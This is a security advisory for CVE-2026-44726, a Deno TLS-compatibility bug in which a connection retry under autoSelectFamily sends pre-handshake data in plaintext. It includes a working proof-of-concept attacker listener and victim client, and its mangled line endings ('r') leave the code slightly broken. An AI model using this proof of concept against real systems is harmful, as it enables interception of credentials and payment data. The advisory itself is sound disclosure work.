PT-2026-44129 · Crates.Io · Deno

Published

2026-05-27

·

Updated

2026-05-27

·

CVE-2026-44726

CVSS v3.1

7.4

High

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)
ts
import net from "node:net";

const server = net.createServer((socket) => {
 console.log("[attacker] client connected from", socket.remoteAddress);
 socket.on("data", (chunk) => {
  // If TLS were working, this would be an opaque ClientHello.
  // If the bug fires, we see the application payload in cleartext.
  console.log("[attacker] received", chunk.length, "bytes:");
  console.log(chunk.toString("utf8"));
 });
});

server.listen(4444, "127.0.0.1", () => {
 console.log("[attacker] listening on 127.0.0.1:4444");
});
victim.mjs (a normal-looking TLS client)
ts
import tls from "node:tls";

const socket = tls.connect({
 host: "api.example.invalid",
 port: 4444,
 autoSelectFamily: true, // Node-compat default

 // First address is a black hole (nothing on [::1]:4444),
 // so autoSelectFamily falls back to the second address.
 // In a real attack, the on-path attacker arranges this via
 // routing, DNS, or by dropping the first SYN.
 lookup: ( host, opts, cb) => {
  cb(null, [
   { address: "::1",    family: 6 }, // fails -> retry
   { address: "127.0.0.1", family: 4 }, // attacker
  ]);
 },

 rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1r
");
socket.write("Authorization: Bearer sk live SECRET TOKENr
");
socket.write("Content-Type: application/jsonr
r
");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",     (e) => console.log("[victim] error:", e.message));
In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk live SECRET TOKEN
...
The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Fix

Cleartext Transmission of Sensitive Information

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-319

Related Identifiers

CVE-2026-44726
GHSA-CHQV-56WV-7564

Affected Products

Deno